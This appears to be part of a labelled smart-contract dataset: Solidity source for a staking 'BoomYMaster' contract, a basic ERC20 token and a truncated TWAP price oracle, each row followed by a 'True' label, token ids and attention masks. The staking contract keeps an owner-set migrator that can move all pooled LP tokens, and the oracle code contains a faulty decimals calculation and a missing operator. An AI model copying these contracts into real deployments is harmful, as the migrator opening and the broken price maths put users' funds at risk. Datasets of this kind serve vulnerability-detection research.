_allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); uint256 prevAllocPoint = poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; if (prevAllocPoint != _allocPoint) { updateStakingPool(); } } function updateStakingPool() internal { uint256 length = poolInfo.length; uint256 points = 0; for (uint256 pid = 1; pid < length; ++pid) { points = points.add(poolInfo[pid].allocPoint); } if (points != 0) { points = points.div(3); totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points); poolInfo[0].allocPoint = points; } } // Migrate lp token to another lp contract. Can be called by anyone. // We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // View function to see pending BoomYs on frontend. function pendingBoomYs(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBoomYPerShare = pool.accBoomYPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); accBoomYPerShare = accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accBoomYPerShare).div(1e12).sub(user.rewardDebt).add(user.pendingRewards); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 boomYReward = boomYPerBlock .mul(pool.allocPoint) .div(totalAllocPoint); boomY.mint(address(this), boomYReward); pool.accBoomYPerShare = pool.accBoomYPerShare.add( boomYReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; //Should we halve the minting? if(block.number >= startBlock.add(100000) && !isMintingHalved) { boomYPerBlock = boomYPerBlock.div(2); isMintingHalved = true; } } // Deposit LP tokens to BoomYMaster for BoomY allocation. function deposit(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please deposit BoomY by staking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accBoomYPerShare) .div(1e12) .sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from BoomYMaster. function withdraw(uint256 _pid, uint256 _amount, bool _withdrawRewards) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); user.lastHarvest = block.timestamp; emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { require (_pid != 0, 'please withdraw BOOMY by unstaking'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; user.pendingRewards = 0; user.lastHarvest = block.timestamp; } // Claim rewards from BoomYMaster. function claim(uint256 _pid) public { require (_pid != 0, 'please claim staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require (block.timestamp >= user.lastHarvest.add(pool.harvestVestingPeriod), 'withdraw: you cant harvest yet'); updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 \|\| user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; user.lastHarvest = block.timestamp; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Claim rewards from BoomYMaster and deposit them directly to staking pool. function claimAndStake(uint256 _pid) public { require (_pid != 0, 'please claim and stake staking rewards on stake page'); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 \|\| user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); transferToStake(user.pendingRewards); emit ClaimAndStake(msg.sender, _pid, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer rewards from LP pools to staking pool. function transferToStake(uint256 _amount) internal { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (_amount > 0) { user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Stake BoomY tokens to BoomYMaster. function enterStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, _amount); } // Withdraw BoomY tokens from staking. function leaveStaking(uint256 _amount, bool _withdrawRewards) public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; require(user.amount >= _amount, "unstake: not good"); updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); if (_withdrawRewards) { safeBoomYTransfer(msg.sender, user.pendingRewards); user.pendingRewards = 0; } } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Withdraw(msg.sender, 0, _amount); } // Claim staking rewards from BoomYMaster. function claimStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; updatePool(0); uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0 \|\| user.pendingRewards > 0) { user.pendingRewards = user.pendingRewards.add(pending); safeBoomYTransfer(msg.sender, user.pendingRewards); emit Claim(msg.sender, 0, user.pendingRewards); user.pendingRewards = 0; } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); } // Transfer staking rewards to staking pool. function stakeRewardsStaking() public { PoolInfo storage pool = poolInfo[0]; UserInfo storage user = userInfo[0][msg.sender]; uint256 rewardsToStake; updatePool(0); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accBoomYPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { user.pendingRewards = user.pendingRewards.add(pending); } } if (user.pendingRewards > 0) { rewardsToStake = user.pendingRewards; user.pendingRewards = 0; user.amount = user.amount.add(rewardsToStake); } user.rewardDebt = user.amount.mul(pool.accBoomYPerShare).div(1e12); emit Deposit(msg.sender, 0, rewardsToStake); } // Safe BoomY transfer function, just in case if rounding error causes pool to not have enough BoomYs. function safeBoomYTransfer(address _to, uint256 _amount) internal { uint256 boomYBal = boomY.balanceOf(address(this)); if (_amount > boomYBal) { boomY.transfer(_to, boomYBal); } else { boomY.transfer(_to, _amount); } } // * Additional functions to edit master attributes ** function setBoomYPerBlock(uint256 _boomYPerBlock) public onlyOwner { require(_boomYPerBlock > 0, "!boomYPerBlock-0"); boomYPerBlock = _boomYPerBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigrationMaster _migrator) public onlyOwner { migrator = _migrator; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 2003, 2059, 2139, 29510, 2013, 1996, 20587, 1005, 1055, 1008, 21447, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-25 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /// @title ERC20 Contract contract Token { // My Variables string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; // Keep track balances and allowances approved mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // Events - fire events on state changes etc event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory _name, string memory _symbol, uint _decimals, uint _totalSupply) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balanceOf[msg.sender] = totalSupply; } /// @notice transfer amount of tokens to an address /// @param _to receiver of token /// @param _value amount value of token to send /// @return success as true, for transfer function transfer(address _to, uint256 _value) external returns (bool success) { require(balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } /// @dev internal helper transfer function with required safety checks /// @param _from, where funds coming the sender /// @param _to receiver of token /// @param _value amount value of token to send // Internal function transfer can only be called by this contract // Emit Transfer Event event function _transfer(address _from, address _to, uint256 _value) internal { // Ensure sending is to valid address! 0x0 address cane be used to burn() require(_to != address(0)); balanceOf[_from] = balanceOf[_from] - (_value); balanceOf[_to] = balanceOf[_to] + (_value); emit Transfer(_from, _to, _value); } /// @notice Approve other to spend on your behalf eg an exchange /// @param _spender allowed to spend and a max amount allowed to spend /// @param _value amount value of token to send /// @return true, success once address approved // Emit the Approval event // Allow _spender to spend up to _value on your behalf function approve(address _spender, uint256 _value) external returns (bool) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /// @notice transfer by approved person from original address of an amount within approved limit /// @param _from, address sending to and the amount to send /// @param _to receiver of token /// @param _value amount value of token to send /// @dev internal helper transfer function with required safety checks /// @return true, success once transfered from original account // Allow _spender to spend up to _value on your behalf function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_value <= balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value); _transfer(_from, _to, _value); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2423, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 1013, 1013, 1013, 1030, 2516, 9413, 2278, 11387, 3206, 3206, 19204, 1063, 1013, 1013, 2026, 10857, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 17788, 2575, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1013, 2562, 2650, 5703, 2015, 1998, 21447, 2015, 4844, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 1013, 1013, 2824, 1011, 2543, 2824, 2006, 2110, 3431, 4385, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 9570, 2953, 1006, 5164, 3638, 1035, 2171, 1010, 5164, 3638, 1035, 6454, 1010, 21318, 3372, 1035, 26066, 2015, 1010, 21318, 3372, 1035, 21948, 6279, 22086, 1007, 1063, 2171, 1027, 1035, 2171, 1025, 6454, 1027, 1035, 6454, 1025, 26066, 2015, 1027, 1035, 26066, 2015, 1025, 21948, 6279, 22086, 1027, 1035, 21948, 6279, 22086, 1025, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1025, 1065, 1013, 1013, 1013, 1030, 5060, 4651, 3815, 1997, 19204, 2015, 2000, 2019, 4769, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2000, 8393, 1997, 19204, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3643, 3815, 3643, 1997, 19204, 2000, 4604, 1013, 1013, 1013, 1030, 2709, 3112, 2004, 2995, 1010, 2005, 4651, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 5478, 1006, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 1035, 3643, 1007, 1025, 1035, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 1035, 2000, 1010, 1035, 3643, 1007, 1025, 2709, 2995, 1025, 1065, 1013, 1013, 1013, 1030, 16475, 4722, 2393, 2121, 4651, 3853, 2007, 3223, 3808, 14148, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2013, 1010, 2073, 5029, 2746, 1996, 4604, 2121, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 2000, 8393, 1997, 19204, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3643, 3815, 3643, 1997, 19204, 2000, 4604, 1013, 1013, 4722, 3853, 4651, 2064, 2069, 2022, 2170, 2011, 2023, 3206, 1013, 1013, 12495, 2102, 4651, 2724, 2724, 3853, 1035, 4651, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 4722, 1063, 1013, 1013, 5676, 6016, 2003, 2000, 9398, 4769, 999, 1014, 2595, 2692, 4769, 11942, 2022, 2109, 2000, 6402, 1006, 1007, 5478, 1006, 1035, 2000, 999, 1027, 4769, 1006, 1014, 1007, 1007, 1025, 5703, 11253, 1031, 1035, 2013, 1033, 1027, 5703, 11253, 1031, 1035, 2013, 1033, 1011, 1006, 1035, 3643, 1007, 1025, 5703, 11253, 1031, 1035, 2000, 1033, 1027, 5703, 11253, 1031, 1035, 2000, 1033, 1009, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-07-02 / // Price Oracle for Reeth Token // This contract uses Uniswap v2 TWAP to obtain the token price // It initially uses 10 minute averages but can be updated on the fly by governance pragma solidity =0.6.6; interface UniswapV2Pair { function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function getReserves() external view returns (uint112, uint112, uint32); } contract ReethPriceOracle { address public owner; bool private _firstCapture = true; uint256 private _reethDecimals = 18; // Same as YAM uint256 private _reethETHPrice = 0; uint256 private _reethPriceWindow = 0; // The time period this price was calculated over, determines its weight uint256 private _tokenIndex = 0; uint256 public lastREETHPriceUpdate; // The last time the price was updated uint256 public updateFrequency = 10 minutes; // Oracle can be updated at least every 10 minutes uint256 constant DIVISION_FACTOR = 100000; // TWAP details address public mainLiquidity; uint256 private lastTWAPCumulativePrice; uint32 private lastTWAPBlockTime; uint256 private lastTWAPPrice; // Events event NoLiquidity(); event FirstPriceCapture(); // First time price update is called, must wait til another time to update event FailedPriceCapture(); // Not quick enough price movement for a twap to be calculated constructor() public { owner = msg.sender; } modifier onlyGovernance() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function changeLiquidityToken(address _lp, uint256 _pos) internal { mainLiquidity = _lp; _tokenIndex = _pos; _reethETHPrice = 0; _reethPriceWindow = 0; lastTWAPBlockTime = 0; lastTWAPCumulativePrice = 0; lastREETHPriceUpdate = 0; _firstCapture = true; } function getLatestREETHPrice() external view returns (uint256) { // Returns the stored price with 18 decimals of precision return _reethETHPrice; } // This function can be called manually but will most likely be called by the monetary policy upon token transfers most often function updateREETHPrice() external { if(mainLiquidity == address(0)) { return; } if(now < lastREETHPriceUpdate + updateFrequency){ return; } // Do nothing if update is called too soon uint256 period = now - lastREETHPriceUpdate; // Get the time between the last update and now lastREETHPriceUpdate = now; // We will use a combination of the Twap and weighted averages to determine the current price UniswapV2Pair pair = UniswapV2Pair(mainLiquidity); (, uint112 reserve1, uint32 _blockTime) = pair.getReserves(); if(reserve1 == 0){ // Liquidity is gone/non-existant, can't update the price // Reset the oracle _reethETHPrice = 0; _reethPriceWindow = 0; lastTWAPBlockTime = 0; lastTWAPCumulativePrice = 0; _firstCapture = true; emit NoLiquidity(); return; } if(lastTWAPBlockTime != _blockTime){ // Uniswap twap price has updated, update our twap price if(_firstCapture == true){ // Never had a price before, save the price accumulators if(_tokenIndex == 0){ lastTWAPCumulativePrice = pair.price0CumulativeLast(); }else{ lastTWAPCumulativePrice = pair.price1CumulativeLast(); } lastTWAPBlockTime = _blockTime; _firstCapture = false; emit FirstPriceCapture(); return; }else{ // We already have a price cumulative, capture a new price uint256 cumuPrice = 0; if(_tokenIndex == 0){ cumuPrice = pair.price0CumulativeLast(); }else{ cumuPrice = pair.price1CumulativeLast(); } // This is price in relationship to base pair lastTWAPPrice = ((cumuPrice - lastTWAPCumulativePrice) / (_blockTime - lastTWAPBlockTime) * (10*_reethDecimals)) >> 112; lastTWAPCumulativePrice = cumuPrice; lastTWAPBlockTime = _blockTime; } } if(lastTWAPPrice == 0){ // Still no price calculation possible since no action on trading pair since last call emit FailedPriceCapture(); return; } if(_reethPriceWindow == 0){ // First time price is calculated, set it to the twap price _reethPriceWindow = updateFrequency; _reethETHPrice = lastTWAPPrice; }else{ // There is already a price window and price, use weighted averages to determine the weight uint256 price = lastTWAPPrice; _reethETHPrice = (_reethETHPrice (_reethPriceWindow * DIVISION_FACTOR / (_reethPriceWindow + period)) / DIVISION_FACTOR); _reethETHPrice += (price * 